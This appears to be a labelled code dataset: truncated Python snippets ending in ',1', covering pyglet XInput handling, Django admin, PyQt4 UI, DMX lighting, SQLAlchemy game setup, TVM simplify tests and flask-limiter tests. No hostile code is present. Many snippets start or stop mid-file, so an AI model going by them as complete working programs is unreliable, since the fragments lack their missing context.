xi.ProximityClass: self._add(class_info, xi._proximityIn, dispatcher._event_xinput_proximity_in) self._add(class_info, xi._proximityOut, dispatcher._event_xinput_proximity_out) elif class_info.input_class == xi.FeedbackClass: pass elif class_info.input_class == xi.FocusClass: pass elif class_info.input_class == xi.OtherClass: pass array = (xi.XEventClass * len(self._events))(*self._events) xi.XSelectExtensionEvent(window._x_display, window._window, array, len(array)) def _add(self, class_info, event, handler): _type = class_info.event_type_base + event _class = self.device._device_id << 8 | _type self._events.append(_class) self.window._event_handlers[_type] = handler XInputDeviceInstance.register_event_type('on_button_press') XInputDeviceInstance.register_event_type('on_button_release') XInputDeviceInstance.register_event_type('on_motion') XInputDeviceInstance.register_event_type('on_proximity_in') XInputDeviceInstance.register_event_type('on_proximity_out') class XInputWindowEventDispatcher: def __init__(self): self._instances = dict() def add_instance(self, instance): self._instances[instance.device._device_id] = instance def remove_instance(self, instance): del self._instances[instance.device._device_id] def dispatch_instance_event(self, e, *args): try: instance = self._instances[e.deviceid] except KeyError: return instance.dispatch_event(*args) @pyglet.window.xlib.XlibEventHandler(0) def _event_xinput_key_press(self, ev): raise NotImplementedError('TODO') @pyglet.window.xlib.XlibEventHandler(0) def _event_xinput_key_release(self, ev): raise NotImplementedError('TODO') @pyglet.window.xlib.XlibEventHandler(0) def _event_xinput_button_press(self, ev): e = ctypes.cast(ctypes.byref(ev), ctypes.POINTER(xi.XDeviceButtonEvent)).contents self.dispatch_instance_event(e, 'on_button_press', e.button) @pyglet.window.xlib.XlibEventHandler(0) def _event_xinput_button_release(self, ev): e = ctypes.cast(ctypes.byref(ev), ctypes.POINTER(xi.XDeviceButtonEvent)).contents self.dispatch_instance_event(e, 'on_button_release', e.button) @pyglet.window.xlib.XlibEventHandler(0) def _event_xinput_motion(self, ev): e = ctypes.cast(ctypes.byref(ev), ctypes.POINTER(xi.XDeviceMotionEvent)).contents axis_data = list() for i in range(e.axes_count): axis_data.append(e.axis_data[i]) self.dispatch_instance_event(e, 'on_motion', axis_data, e.x, e.y) @pyglet.window.xlib.XlibEventHandler(0) def _event_xinput_proximity_in(self, ev): e = ctypes.cast(ctypes.byref(ev), ctypes.POINTER(xi.XProximityNotifyEvent)).contents self.dispatch_instance_event(e, 'on_proximity_in') @pyglet.window.xlib.XlibEventHandler(-1) def _event_xinput_proximity_out(self, ev): e = ctypes.cast(ctypes.byref(ev), ctypes.POINTER(xi.XProximityNotifyEvent)).contents self.dispatch_instance_event(e, 'on_proximity_out') def _check_extension(display): major_opcode = ctypes.c_int() first_event = ctypes.c_int() first_error = ctypes.c_int() xlib.XQueryExtension(display._display, 'XInputExtension', ctypes.byref(major_opcode), ctypes.byref(first_event), ctypes.byref(first_error)) if not major_opcode.value: raise Exception('XInput extension not available') def get_devices(display): _check_extension(display) devices = list() count = ctypes.c_int(0) device_list = xi.XListInputDevices(display._display, count) for i in range(count.value): device_info = device_list[i] devices.append(XInputDevice(display, device_info)) return devices ",1 "la.utils import timezone class PositionOptions(admin.ModelAdmin): def show_title(self, obj): if not obj.target: return '-- %s --' % ugettext('empty position') else: return u'%s [%s]' % (obj.target.title, ugettext(obj.target_ct.name),) show_title.short_description = _('Title') def is_filled(self, obj): if obj.target: return True else: return False is_filled.short_description = _('Filled') is_filled.boolean = True def is_active(self, obj): if obj.disabled: return False now = timezone.now() active_from = not obj.active_from or obj.active_from <= now active_till = not obj.active_till or obj.active_till > now return active_from and active_till is_active.short_description = _('Active') is_active.boolean = True list_display = ('name', 'category', 'box_type', 'is_active', 'is_filled', 'show_title', 'disabled',) list_filter = ('category', 'name', 'disabled', 'active_from', 'active_till',) search_fields = ('box_type', 'text',) # suggest_fields = {'category': ('tree_path', 'title', 'slug',),} admin.site.register(Position, PositionOptions) ",1 "PyQt4 UI code generator 4.9.3 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8(""MainWindow"")) MainWindow.resize(1024, 768) self.centralwidget = QtGui.QWidget(MainWindow) self.centralwidget.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().hasHeightForWidth()) self.centralwidget.setSizePolicy(sizePolicy) self.centralwidget.setObjectName(_fromUtf8(""centralwidget"")) self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget) self.verticalLayout.setObjectName(_fromUtf8(""verticalLayout"")) self.horizontalLayout_2 = QtGui.QHBoxLayout() self.horizontalLayout_2.setObjectName(_fromUtf8(""horizontalLayout_2"")) self.label_3 = QtGui.QLabel(self.centralwidget) self.label_3.setMaximumSize(QtCore.QSize(200, 200)) self.label_3.setText(_fromUtf8("""")) self.label_3.setPixmap(QtGui.QPixmap(_fromUtf8("":/logo/pixmaps/logo.jpg""))) self.label_3.setScaledContents(True) self.label_3.setObjectName(_fromUtf8(""label_3"")) self.horizontalLayout_2.addWidget(self.label_3) self.verticalLayout_2 = QtGui.QVBoxLayout() self.verticalLayout_2.setObjectName(_fromUtf8(""verticalLayout_2"")) self.label_2 = QtGui.QLabel(self.centralwidget) font = QtGui.QFont() font.setPointSize(20) self.label_2.setFont(font) self.label_2.setAlignment(QtCore.Qt.AlignCenter) self.label_2.setObjectName(_fromUtf8(""label_2"")) self.verticalLayout_2.addWidget(self.label_2) self.labelServerId = QtGui.QLabel(self.centralwidget) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(0, 0, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(118, 116, 113)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(118, 116, 113)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) self.labelServerId.setPalette(palette) font = QtGui.QFont() font.setPointSize(16) font.setBold(True) font.setWeight(75) self.labelServerId.setFont(font) self.labelServerId.setAlignment(QtCore.Qt.AlignCenter) self.labelServerId.setObjectName(_fromUtf8(""labelServerId"")) self.verticalLayout_2.addWidget(self.labelServerId) self.labelYear = QtGui.QLabel(self.centralwidget) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(0, 0, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(118, 116, 113)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.labelYear.setPalette(palette) font = QtGui.QFont() font.setPointSize(37) font.setBold(True) font.setWeight(75) self.labelYear.setFont(font) self.labelYear.setTextFormat(QtCore.Qt.PlainText) self.labelYear.setAlignment(QtCore.Qt.AlignCenter) self.labelYear.setObjectName(_fromUtf8(""labelYear"")) self.verticalLayout_2.addWidget(self.labelYear) self.horizontalLayout_2.addLayout(self.verticalLayout_2) self.label = QtGui.QLabel(self.centralwidget) self.label.setMaximumSize(QtCore.QSize(200, 200)) self.label.setText(_fromUtf8("""")) self.label.setPixmap(QtGui.QPixmap(_fromUtf8("":/logo/pixmaps/Stampa-silicone-tondo-fi55.png""))) self.label.setScaledContents(True) self.label.setObjectName(_fromUtf8(""label"")) self.horizontalLayout_2.addWidget(self.label) self.verticalLayout.addLayout(self.horizontalLayout_2) self.line = QtGui.QFrame(self.centralwidget) self.line.setFrameShadow(QtGui.QFrame.Raised) self.line.setLineWidth(4) self.line.setFrameShape(QtGui.QFrame.HLine) self.line.setFrameShadow(QtGui.QFrame.Sunken) self.line.setObjectName(_fromUtf8(""line"")) self.verticalLayout.addWidget(self.line) spacerItem = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) self.verticalLayout.addItem(spacerItem) self.horizontalLayout = QtGui.QHBoxLayout() self.horizontalLayout.setObjectName(_fromUtf8(""horizontalLayout"")) self.btnNewYear = QtGui.QToolButton(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(11) sizePolicy.setHeightForWidth(self.btnNewYear.sizePolicy().hasHeightForWidth()) self.btnNewYear.setSizePolicy(sizePolicy) self.btnNewYear.setMinimumSize(QtCore.QSize(0, 200)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.btnNewYear.setFont(font) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(_fromUtf8("":/img/pixmaps/planner.png"")), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.btnNewYear.setIcon(icon) self.btnNewYear.setIconSize(QtCore.QSize(128, 128)) self.btnNewYear.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) self.btnNewYear.setAutoRaise(False) self.btnNewYear.setArrowType(QtCore.Qt.NoArrow) self.btnNewYear.setObjectName(_fromUtf8(""btnNewYear"")) self.horizontalLayout.addWidget(self.btnNewYear) self.btnCloseYear = QtGui.QToolButton(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(11) sizePolicy.setHeightForWidth(self.btnCloseYear.sizePolicy().hasHeightForWidth()) self.btnCloseYear.setSizePolicy(sizePolicy) self.btnCloseYear.setMinimumSize(QtCore.QSize(0, 200)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.btnCloseYear.setFont(font) self.btnCloseYear.setAutoFillBackground(False) icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap(_fromUtf8("":/img/pixmaps/save.png"")), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.btnCloseYear.setIcon(icon1) self.btnCloseYear.setIconSize(QtCore.QSize(128, 128)) self.btnCloseYear.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) self.btnCloseYear.setObjectName(_fromUtf8(""btnCloseYear"")) self.horizontalLayout.addWidget(self.btnCloseYear) self.btnTeachers = QtGui.QToolButton(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(11) sizePolicy.setHeightForWidth(self.btnTeachers.sizePolicy().hasHeightForWidth()) self.btnTeachers.setSizePolicy(sizePolicy) self.btnTeachers.setMinimumSize(QtCore.QSize(0, 200)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.btnTeachers.setFont(font) icon2 = QtGui.QIcon() icon2.addPixmap(QtGui.QPixmap(_fromUtf8("":/img/pixmaps/education.png"")), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.btnTeachers.setIcon(icon2) self.btnTeachers.setIconSize(QtCore.QSize(128, 128)) self.btnTeachers.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) self.btnTeachers.setObjectName(_fromUtf8(""btnTeachers"")) self.horizontalLayout.addWidget(self.btnTeachers) self.btnStudents = QtGui.QToolButton(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(11) sizePolicy.setHeightForWidth(self.btnStudents.sizePolicy().hasHeightForWidth()) self.btnStudents.setSizePolicy(sizePolicy) self.btnStudents.setMinimumSize(QtCore.QSize(0, 200)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.btnStudents.setFont(font) self.btnStudents.setStyleSheet(_fromUtf8("""")) icon3 = QtGui.QIcon() icon3.addPixmap(QtGui.QPixmap(_fromUtf8("":/img/pixmaps/System-users.png"")), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.btnStudents.setIcon(icon3) self.btnStudents.setIconSize(QtCore.QSize(128, 128)) self.btnStudents.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) self.btnStudents.setObjectName(_fromUtf8(""btnStudents"")) self.horizontalLayout.addWidget(self.btnStudents) self.btnAdvanced = QtGui.QToolButton(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(11) sizePolicy.setHeightForWidth(self.btnAdvanced.sizePolicy().hasHeightForWidth()) self.btnAdvanced.setSizePolicy(sizePolicy) self.btnAdvanced.setMinimumSize(QtCore.QSize(0, 200)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.btnAdvanced.setFont(font) icon4 = QtGui.QIcon() icon4.addPixmap(QtGui.QPixmap(_fromUtf8("":/img/pixmaps/advanced_options.png"")), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.btnAdvanced.setIcon(icon4) self.btnAdvanced.setIconSize(QtCore.QSize(128, 128)) self.btnAdvanced.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) self.btnAdvanced.setObjectName(_fromUtf8(""btnAdvanced"")) self.horizontalLayout.addWidget(self.btnAdvanced) self.verticalLayout.addLayout(self.horizontalLayout) spacerItem1 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) self.verticalLayout.addItem(spacerItem1) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtGui.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8(""statusbar"")) MainWindow.setStatusBar(self.statusbar) self.menubar = QtGui.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 1024, 29)) self.menubar.setObjectName(_fromUtf8(""menubar"")) self.menuImpostazioni = QtGui.QMenu(self.menubar) self.menuImpostazioni.setEnabled(False) self.menuImpostazioni.setObjectName(_fromUtf8(""menuImpostazioni"")) self.menuHelp = QtGui.QMenu(self.menubar) self.menuHelp.setEnabled(False) self.menuHelp.setObjectName(_fromUtf8(""menuHelp"")) self.menuArchivi = QtGui.QMenu(self.menubar) self.menuArchivi.setObjectName(_fromUtf8(""menuArchivi"")) MainWindow.setMenuBar(self.menubar) self.actionAbout = QtGui.QAction(MainWindow) self.actionAbout.setObjectName(_fromUtf8(""actionAbout"")) self.actionPreferenze = QtGui.QAction(MainWindow) self.actionPreferenze.setObjectName(_fromUtf8(""actionPreferenze"")) self.actionArchivioAnniPrec = QtGui.QAction(MainWindow) self.actionArchivioAnniPrec.setObjectName(_fromUtf8(""actionArchivioAnniPrec"")) self.menuImpostazioni.addAction(self.actionPreferenze) self.menuHelp.addAction(self.actionAbout) self.menuArchivi.addAction(self.actionArchivioAnniPrec) self.menubar.addAction(self.menuArchivi.menuAction()) self.menubar.addAction(self.menuImpostazioni.menuAction()) self.menubar.addAction(self.menuHelp.menuAction()) self.retranslateUi(MainWindow) QtCore.QObject.connect(self.btnAdvanced, QtCore.SIGNAL(_fromUtf8(""clicked()"")), MainWindow.execAdvancedUserManager) QtCore.QObject.connect(self.btnCloseYear, QtCore.SIGNAL(_fromUtf8(""clicked()"")), MainWindow.execYearEnd) QtCore.QObject.connect(self.btnNewYear, QtCore.SIGNAL(_fromUtf8(""clicked()"")), MainWindow.execYearNew) QtCore.QObject.connect(self.actionArchivioAnniPrec, QtCore.SIGNAL(_fromUtf8(""triggered()"")), MainWindow.showArchBackup) QtCore.QObject.connect(self.btnStudents, QtCore.SIGNAL(_fromUtf8(""clicked()"")), MainWindow.showStudentsManager) QtCore.QObject.connect(self.btnTeachers, QtCore.SIGNAL(_fromUtf8(""clicked()"")), MainWindow.showTeachersManager) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtGui.QApplication.translate(""MainWindow"", ""MainWindow"", None, QtGui.QApplication.UnicodeUTF8)) self.label_2.setText(QtGui.QApplication.translate(""MainWindow"", ""Pannello di Amministrazione del Server"", None, QtGui.QApplication.UnicodeUTF8)) self.labelServerId.setText(QtGui.QApplication.translate(""MainWindow"", ""TextLabel"", None, QtGui.QApplication.UnicodeUTF8)) self.labelYear.setText(QtGui.QApplication.translate(""MainWindow"", ""Anno -"", None, QtGui.QApplication.UnicodeUTF8)) self.btnNewYear.setText(QtGui.QApplication.translate(""MainWindow"", ""Nuovo Anno"", None, QtGui.QApplication.UnicodeUTF8)) self.btnCloseYear.setText(QtGui.QApplication.translate(""MainWindow"", ""Chiusura Anno"", None, QtGui.QApplication.UnicodeUTF8)) self.btnTeachers.setText(QtGui.QApplication.translate(""MainWindow"", ""Gestione Insegnanti"", None, QtGui.QApplication.UnicodeUTF8)) self.btnStudents.setText(QtGui.QApplication.translate(""MainWindow"", ""Gestione Alunni"", None, QtGui.QApplication.UnicodeUTF8)) self.btnAdvanced.setText(QtGui.QApplication.translate(""MainWindow"", ""Gestione Avanzata"", None, QtGui.QApplication.UnicodeUTF8)) self.menuImpostazioni.setTitle(QtGui.QApplication.translate(""MainWindow"", ""Impostazioni"", None, QtGui.QApplication.UnicodeUTF8)) self.menuHelp.setTitle(QtGui.QApplication.translate(""MainWindow"", ""Help"", None, QtGui.QApplication.UnicodeUTF8)) self.menuArchivi.setTitle(QtGui.QApplication.translate(""MainWindow"", ""Archivi"", None, QtGui.QApplication.UnicodeUTF8)) self.actionAbout.setText(QtGui.QApplication.translate(""MainWindow"", ""About"", None, QtGui.QApplication.UnicodeUTF8)) self.actionPreferenze.setText(QtGui.QApplication.translate(""MainWindow"", ""Preferenze"", None, QtGui.QApplication.UnicodeUTF8)) self.actionArchivioAnniPrec.setText(QtGui.QApplication.translate(""MainWindow"", ""Archivio anni precedenti"", None, QtGui.QApplication.UnicodeUTF8)) import classerman_rc ",1 "= rig.get_default_rig() g = r.groups['all'] def all_red(): """""" Create an all-red frame. """""" g.setColor('#ff0000') g.setIntensity(255) return g.getFrame() def all_blue(): """""" Create an all-blue frame. """""" g.setColor('#0000ff') g.setIntensity(255) return g.getFrame() def main(config, controller=None): log.info(""Running script %s"" % __name__) # global g # g = get_default_fixture_group(config) q = controller or dmx.Controller(config.get('base', 'address'), bpm=60, nodaemon=True, runout=True) q.add(fades.create_multifade([ all_red(), all_blue(), ] * 3, secs=5.0)) if not controller: q.start() ",1 " """""" import os import sys import sqlalchemy sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) import legendary_waffle # Database setup db_engine = sqlalchemy.create_engine(""sqlite://"") legendary_waffle.models.MODELBASE.metadata.create_all(db_engine) legendary_waffle.models.MODELBASE.metadata.bind = db_engine db_session = sqlalchemy.orm.sessionmaker(bind=db_engine) db = db_session() # Create the user legendary_waffle.model_create(db, legendary_waffle.models.User, name='sk4ly') print ""Users: {}"".format(legendary_waffle.model_read(db, legendary_waffle.models.User)) # Create the universe universe_config = { ""name"": 'poopiverse', ""map_size"": 1000, ""max_planets"": 1000, ""max_players"": 10 } legendary_waffle.model_create(db, legendary_waffle.models.Universe, **universe_config) print ""Universe: {}"".format(legendary_waffle.model_read(db, legendary_waffle.models.Universe)) # Create the planet planet_config = { ""universe"": 1, # The pkid of the universe 'poopiverse' ""coordinate_x"": 1, ""coordinate_y"": 1, ""name"": 'bloth', ""habitable"": True, ""player_control"": 1, # The pkid of user 'sk4ly' ""default_condition"": 1000, ""default_resources"": 1000, ""current_condition"": 1000, ""current_resources"": 1000 } legendary_waffle.model_create(db, legendary_waffle.models.Planet, **planet_config) print ""Planet: {}"".format(legendary_waffle.model_read(db, legendary_waffle.models.Planet)) # Create building type name legendary_waffle.model_create(db, legendary_waffle.models.BuildingTypeName, name=""Control Center"") print ""Building Type Name: {}"".format(legendary_waffle.model_read(db, legendary_waffle.models.BuildingTypeName)) # Create building type building_type_config = { ""typename"": 1, # The pkid of the building type name 'Control Center' ""description"": ""This is the control center"", ""default_condition"": 100, ""default_firepower"": 0, ""default_storage"": 100, ""rhr_passive"": 0, ""rhr_active"": 0, ""rhr_destructive"": 0, ""build_resource_reqs"": 500, } legendary_waffle.model_create(db, legendary_waffle.models.BuildingType, **building_type_config) print ""Building Type: {}"".format(legendary_waffle.model_read(db, legendary_waffle.models.BuildingType)) # Now create our new building building_config = { ""building_type"": 1, # The pkid of the building type with the name 'Control Center' ""universe"": 1, # The pkid of the universe 'poopiverse' ""planet"": 1, # The pkid of the planet 'bloth' ""player_control"": 1, # The pkid of the user 'sk4ly' } legendary_waffle.model_create(db, legendary_waffle.models.Building, **building_config) print ""Building: {}"".format(legendary_waffle.model_read(db, legendary_waffle.models.Building)) ",1 "?', hasattr(mod, '__all__') print 'Has __doc__?', hasattr(mod, '__doc__') print 'doc: ', getdoc(mod) if __name__=='__main__': attribs('cairo') attribs('zope') attribs('A.B.C') import hacked class Object(object): pass opt = Object() opt.ignore_errors = False a, d = hacked.get_all_attr_has_docstr('/home/ali/ws-pydev/apidocfilter/A/B', '/home/ali/ws-pydev/apidocfilter/A/B/C', opt) print(a) print(d)",1 "rk for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # ""License""); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import tvm from tvm import te def test_stmt_simplify(): ib = tvm.tir.ir_builder.create() A = ib.pointer(""float32"", name=""A"") C = ib.pointer(""float32"", name=""C"") n = te.size_var(""n"") with ib.for_range(0, n, name=""i"") as i: with ib.if_scope(i < 12): A[i] = C[i] body = tvm.tir.LetStmt(n, 10, ib.get()) mod = tvm.IRModule.from_expr(tvm.tir.PrimFunc([A, C, n], body)) body = tvm.tir.transform.Simplify()(mod)[""main""].body assert isinstance(body.body, tvm.tir.Store) def test_thread_extent_simplify(): ib = tvm.tir.ir_builder.create() A = ib.pointer(""float32"", name=""A"") C = ib.pointer(""float32"", name=""C"") n = te.size_var(""n"") tx = te.thread_axis(""threadIdx.x"") ty = te.thread_axis(""threadIdx.y"") ib.scope_attr(tx, ""thread_extent"", n) ib.scope_attr(tx, ""thread_extent"", n) ib.scope_attr(ty, ""thread_extent"", 1) with ib.if_scope(tx + ty < 12): A[tx] = C[tx + ty] body = tvm.tir.LetStmt(n, 10, ib.get()) mod = tvm.IRModule.from_expr(tvm.tir.PrimFunc([A, C, n], body)) body = tvm.tir.transform.Simplify()(mod)[""main""].body assert isinstance(body.body.body.body, tvm.tir.Store) def test_if_likely(): ib = tvm.tir.ir_builder.create() A = ib.pointer(""float32"", name=""A"") C = ib.pointer(""float32"", name=""C"") n = te.size_var(""n"") tx = te.thread_axis(""threadIdx.x"") ty = te.thread_axis(""threadIdx.y"") ib.scope_attr(tx, ""thread_extent"", 32) ib.scope_attr(ty, ""thread_extent"", 32) with ib.if_scope(ib.likely(tx * 32 + ty < n)): with ib.if_scope(ib.likely(tx * 32 + ty < n)): A[tx] = C[tx * 32 + ty] body = ib.get() mod = tvm.IRModule.from_expr(tvm.tir.PrimFunc([A, C, n], body)) body = tvm.tir.transform.Simplify()(mod)[""main""].body assert isinstance(body.body.body, tvm.tir.IfThenElse) assert not isinstance(body.body.body.then_case, tvm.tir.IfThenElse) def test_basic_likely_elimination(): n = te.size_var(""n"") X = te.placeholder(shape=(n,), name=""x"") W = te.placeholder(shape=(n + 1,), dtype=""int32"", name=""w"") def f(i): start = W[i] extent = W[i + 1] - W[i] rv = te.reduce_axis((0, extent)) return te.sum(X[rv + start], axis=rv) Y = te.compute(X.shape, f, name=""y"") s = te.create_schedule([Y.op]) stmt = tvm.lower(s, [X, W, Y], simple_mode=True) assert ""if"" not in str(stmt) def test_complex_likely_elimination(): def cumsum(X): """""" Y[i] = sum(X[:i]) """""" (m,) = X.shape s_state = te.placeholder((m + 1,), dtype=""int32"", name=""state"") s_init = te.compute((1,), lambda _: tvm.tir.const(0, ""int32"")) s_update = te.compute((m + 1,), lambda l: s_state[l - 1] + X[l - 1]) return tvm.te.scan(s_init, s_update, s_state, inputs=[X], name=""cumsum"") def sparse_lengths_sum(data, indices, lengths): oshape = list(data.shape) oshape[0] = lengths.shape[0] length_offsets = cumsum(lengths) def sls(n, d): gg = te.reduce_axis((0, lengths[n])) indices_idx = length_offsets[n] + gg data_idx = indices[indices_idx] data_val = data[data_idx, d] return te.sum(data_val, axis=gg) return te.compute(oshape, sls) m, n, d, i, l = ( te.size_var(""m""), te.size_var(""n""), te.size_var(""d""), te.size_var(""i""), te.size_var(""l""), ) data_ph = te.placeholder((m, d * 32), name=""data"") indices_ph = te.placeholder((i,), name=""indices"", dtype=""int32"") lengths_ph = te.placeholder((n,), name=""lengths"", dtype=""int32"") Y = sparse_lengths_sum(data_ph, indices_ph, lengths_ph) s = te.create_schedule([Y.op]) (n, d) = s[Y].op.axis (do, di) = s[Y].split(d, factor=32) (gg,) = s[Y].op.reduce_axis s[Y].reorder(n, do, gg, di) s[Y].vectorize(di) stmt = tvm.lower(s, [data_ph, indices_ph, lengths_ph, Y], simple_mode=True) assert ""if"" not in str(stmt) if __name__ == ""__main__"": test_stmt_simplify() test_thread_extent_simplify() test_if_likely() test_basic_likely_elimination() test_complex_likely_elimination() ",1 "imiter.extension import C, Limiter from flask_limiter.util import get_remote_address def test_reset(extension_factory): app, limiter = extension_factory({C.DEFAULT_LIMITS: ""1 per day""}) @app.route(""/"") def null(): return ""Hello Reset"" with app.test_client() as cli: cli.get(""/"") assert ""1 per 1 day"" in cli.get(""/"").data.decode() limiter.reset() assert ""Hello Reset"" == cli.get(""/"").data.decode() assert ""1 per 1 day"" in cli.get(""/"").data.decode() def test_reset_unsupported(extension_factory, memcached_connection): app, limiter = extension_factory( {C.DEFAULT_LIMITS: ""1 per day"", C.STORAGE_URI: ""memcached://localhost:31211""} ) @app.route(""/"") def null(): return ""Hello Reset"" with app.test_client() as cli: cli.get(""/"") assert ""1 per 1 day"" in cli.get(""/"").data.decode() # no op with memcached but no error raised limiter.reset() assert ""1 per 1 day"" in cli.get(""/"").data.decode() def test_combined_rate_limits(extension_factory): app, limiter = extension_factory({C.DEFAULT_LIMITS: ""1 per hour; 10 per day""}) @app.route(""/t1"") @limiter.limit(""100 per hour;10/minute"") def t1(): return ""t1"" @app.route(""/t2"") def t2(): return ""t2"" with hiro.Timeline().freeze(): with app.test_client() as cli: assert 200 == cli.get(""/t1"").status_code assert 200 == cli.get(""/t2"").status_code assert 429 == cli.get(""/t2"").status_code def test_defaults_per_method(extension_factory): app, limiter = extension_factory( {C.DEFAULT_LIMITS: ""1 per hour"", C.DEFAULT_LIMITS_PER_METHOD: True} ) @app.route(""/t1"", methods=[""GET"", ""POST""]) def t1(): return ""t1"" with hiro.Timeline().freeze(): with app.test_client() as cli: assert 200 == cli.get(""/t1"").status_code assert 429 == cli.get(""/t1"").status_code assert 200 == cli.post(""/t1"").status_code assert 429 == cli.post(""/t1"").status_code def test_default_limit_with_exemption(extension_factory): def is_backdoor(): return request.headers.get(""backdoor"") == ""true"" app, limiter = extension_factory( {C.DEFAULT_LIMITS: ""1 per hour"", C.DEFAULT_LIMITS_EXEMPT_WHEN: is_backdoor} ) @app.route(""/t1"") def t1(): return ""test"" with hiro.Timeline() as timeline: with app.test_client() as cli: assert cli.get(""/t1"", headers={""backdoor"": ""true""}).status_code == 200 assert cli.get(""/t1"", headers={""backdoor"": ""true""}).status_code == 200 assert cli.get(""/t1"").status_code == 200 assert cli.get(""/t1"").status_code == 429 timeline.forward(3600) assert cli.get(""/t1"").status_code == 200 def test_default_limit_with_conditional_deduction(extension_factory): def failed_request(response): return response.status_code != 200 app, limiter = extension_factory( {C.DEFAULT_LIMITS: ""1 per hour"", C.DEFAULT_LIMITS_DEDUCT_WHEN: failed_request} ) @app.route(""/t1/"") def t1(path): if path != ""1"": raise BadRequest() return path with hiro.Timeline() as timeline: with app.test_client() as cli: assert cli.get(""/t1/1"").status_code == 200 assert cli.get(""/t1/1"").status_code == 200 assert cli.get(""/t1/2"").status_code == 400 assert cli.get(""/t1/1"").status_code == 429 assert cli.get(""/t1/2"").status_code == 429 timeline.forward(3600) assert cli.get(""/t1/1"").status_code == 200 assert cli.get(""/t1/2"").status_code == 400 def test_key_func(extension_factory): app, limiter = extension_factory() @app.route(""/t1"") @limiter.limit(""100 per minute"", lambda: ""test"") def t1(): return ""test"" with hiro.Timeline().freeze(): with app.test_client() as cli: for i in range(0, 100): assert ( 200 == cli.get( ""/t1"", headers={""X_FORWARDED_FOR"": 